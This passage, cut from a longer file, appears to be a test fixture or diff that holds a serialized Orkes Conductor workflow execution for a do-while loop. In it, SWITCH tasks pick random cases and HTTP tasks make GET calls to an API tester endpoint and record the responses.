rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__4", + retryCount: 0, + seq: 35, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471927102, + startTime: 1711471927102, + endTime: 1711471927102, + updateTime: 1711471927102, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e13b07c-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_one_ref__4", + retryCount: 0, + seq: 36, + pollCount: 1, + taskDefName: "http_new_dowhile_one", + scheduledTime: 1711471927097, + startTime: 1711471927179, + endTime: 1711471927189, + updateTime: 1711471927179, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e14e8fd-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3285, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "omiwzhgmfgecamejmqnw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 82, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__5", + retryCount: 0, + seq: 37, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471927214, + startTime: 1711471927214, + endTime: 1711471927214, + updateTime: 1711471927214, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e24a06e-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_one_ref__5", + retryCount: 0, + seq: 38, + pollCount: 1, + taskDefName: "http_new_dowhile_one", + scheduledTime: 1711471927210, + startTime: 1711471927291, + endTime: 1711471927306, + updateTime: 1711471927291, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e25ffff-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 379, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "vqbajywpvhuofzyaqukp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__6", + retryCount: 0, + seq: 39, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471927364, + startTime: 1711471927364, + endTime: 1711471927364, + updateTime: 1711471927364, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e3653b0-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_one_ref__6", + retryCount: 0, + seq: 40, + pollCount: 1, + taskDefName: "http_new_dowhile_one", + scheduledTime: 1711471927358, + startTime: 1711471927407, + endTime: 1711471927426, + updateTime: 1711471927407, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e3cbc51-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2130, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "luiyzqmpzmqcyfrwaxht", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 49, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__7", + retryCount: 0, + seq: 41, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471927471, + startTime: 1711471927471, + endTime: 1711471927471, + updateTime: 1711471927471, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e496682-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_1__7", + retryCount: 0, + seq: 42, + pollCount: 1, + taskDefName: "http_1", + scheduledTime: 1711471927465, + startTime: 1711471927518, + endTime: 1711471927527, + updateTime: 1711471927518, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e4d1003-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9020, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "hdnsxoswwdzjhqrzpegq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 53, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__8", + retryCount: 0, + seq: 43, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471927551, + startTime: 1711471927551, + endTime: 1711471927551, + updateTime: 1711471927551, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e580c84-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_1__8", + retryCount: 0, + seq: 44, + pollCount: 1, + taskDefName: "http_1", + scheduledTime: 1711471927543, + startTime: 1711471927627, + endTime: 1711471927636, + updateTime: 1711471927627, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e58f6e5-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6546, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "tunauwsfdcbqgktnoayp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: true, + taskDefinition: null, + }, + ], + input: {}, + output: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6546, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "tunauwsfdcbqgktnoayp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + taskToDomain: {}, + failedReferenceTaskNames: [], + workflowDefinition: { + name: "doWhileExample-test-multi-dowhile", + description: "DoWhile", + version: 1, + tasks: [ + { + name: "http_first", + taskReferenceName: "http_ref_first", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + 